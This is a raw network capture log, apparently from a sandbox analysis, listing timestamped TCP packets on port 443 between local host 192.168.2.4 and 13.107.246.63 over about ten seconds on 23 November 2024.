Nov 23, 2024 17:45:44.495991945 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.496700048 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.496705055 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.840327024 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.843722105 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.843777895 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.843801022 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.843871117 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.843910933 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.843944073 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.843969107 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.843985081 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.846971989 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.847031116 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.847105026 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.847225904 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.847265959 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.973325968 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.976321936 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.976401091 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.976432085 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.976445913 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.976454973 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.976460934 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.979218960 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.979232073 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.979301929 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.979444027 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.979453087 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:45.701210022 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:45.701719999 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:45.701769114 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:45.702186108 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:45.702198029 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:45.906616926 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:45.907422066 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:45.907443047 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:45.907788038 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:45.907793045 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:45.994545937 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:45.995265961 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:45.995381117 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:45.995590925 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:45.995605946 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.291141033 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.291263103 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.291332006 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.291364908 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.291405916 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.291451931 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.293100119 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.293123007 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.293135881 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.293143988 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.302076101 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.302113056 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.302208900 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.302355051 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.302377939 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.391761065 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.394922972 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.394989014 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.395126104 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.395132065 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.395159960 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.395165920 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.398545027 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.398618937 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.398722887 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.398906946 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.398924112 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.558867931 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.558921099 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.559004068 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.559303999 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.559329033 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.559340954 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.559346914 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.561928034 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.561945915 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.562031031 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.562170982 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.562186003 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.701579094 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.702116966 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.702177048 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.702660084 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.702676058 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.853404999 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.853826046 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.853854895 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:46.854259968 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:46.854266882 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.151618004 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.155513048 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.155599117 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.155688047 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.155688047 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.155734062 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.155778885 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.158580065 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.158670902 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.158762932 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.158917904 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.158950090 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.359633923 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.362654924 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.362711906 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.362709999 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.362766981 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.362823009 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.362844944 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.362859011 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.362867117 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.365539074 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.365595102 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:47.365669966 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.365818977 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:47.365833998 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.087752104 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.088396072 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.088426113 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.088870049 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.088876963 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.140194893 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.140640020 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.140707016 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.141002893 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.141019106 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.411349058 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.411994934 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.412012100 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.412450075 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.412455082 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.522583961 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.525849104 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.525914907 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.525974989 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.525993109 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.526002884 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.526007891 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.529105902 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.529154062 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.529253960 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.529383898 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.529396057 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.574837923 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.578044891 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.578120947 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.578171015 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.578171015 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.578193903 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.578217030 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.580991030 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.581024885 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.581096888 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.581243038 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.581254005 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.899199009 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.902244091 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.902327061 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.902404070 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.902421951 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.902439117 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.902446032 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.905369997 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.905415058 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:48.905498981 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.905611992 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:48.905627012 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.001276016 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.001882076 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.001909971 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.002783060 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.002788067 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.257052898 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.257595062 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.257612944 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.258034945 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.258039951 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.452691078 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.456561089 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.456620932 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.456645966 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.456692934 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.456753016 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.456779957 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.456804037 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.456818104 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.459563017 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.459604025 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.459688902 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.459860086 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.459877014 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.711630106 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.714798927 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.714855909 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.717165947 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.717186928 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.717196941 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.717205048 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.728935957 CET	49869	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.729032993 CET	443	49869	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:49.729115963 CET	49869	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.730123997 CET	49869	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:49.730173111 CET	443	49869	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.315526009 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.343286991 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:50.343317986 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.343885899 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:50.343888998 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.438538074 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.443717003 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:50.443732023 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.444195986 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:50.444200039 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.725424051 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.767576933 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:50.770678997 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.773780107 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.773824930 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.773844957 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:50.773904085 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:50.933098078 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:50.933123112 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.933831930 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:50.933836937 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.952693939 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.955786943 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.956353903 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:50.966253042 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:50.966269016 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:50.966300011 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:50.966306925 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.050967932 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.050993919 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.115500927 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.115549088 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.115717888 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.116205931 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.116221905 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.117058992 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.117157936 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.117240906 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.117379904 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.117415905 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.259813070 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.260004997 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.260641098 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.260658026 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.261991024 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.261997938 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.263025045 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.263098955 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.263166904 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.263181925 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.263220072 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.263225079 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.267863989 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.267889977 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.267957926 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.268095016 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.268106937 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.642621040 CET	443	49869	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.643184900 CET	49869	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.643264055 CET	443	49869	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.643800974 CET	49869	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.643815041 CET	443	49869	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.707808971 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.710760117 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.710832119 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.710871935 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.710871935 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.710891008 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.710902929 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.714020967 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.714056969 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:51.714134932 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.714301109 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:51.714313030 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:52.170254946 CET	443	49869	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:52.176445007 CET	443	49869	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:52.176553011 CET	443	49869	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:52.176557064 CET	49869	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:52.176620960 CET	49869	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:52.176717997 CET	49869	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:52.176739931 CET	443	49869	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:52.176758051 CET	49869	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:52.176764965 CET	443	49869	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:52.180167913 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:52.180207968 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:52.180301905 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:52.180511951 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:52.180522919 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:52.986824036 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:52.987252951 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:52.987274885 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:52.987713099 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:52.987718105 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.011552095 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.012006998 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.012051105 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.012439013 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.012454033 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.240031958 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.240554094 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.240571976 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.241163015 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.241168976 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.439945936 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.442913055 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.442996025 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.452893972 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.452914953 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.452969074 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.452975988 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.455574989 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.455634117 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.455749989 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.455864906 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.455876112 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.466509104 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.469321012 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.469412088 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.469458103 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.469479084 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.469508886 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.469521999 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.476434946 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.476480961 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.476571083 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.476767063 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.476795912 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.640050888 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.680815935 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.680840015 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.682106972 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.682115078 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.695863008 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.695930004 CET	443	49872	13.107.246.63	192.168.2.4
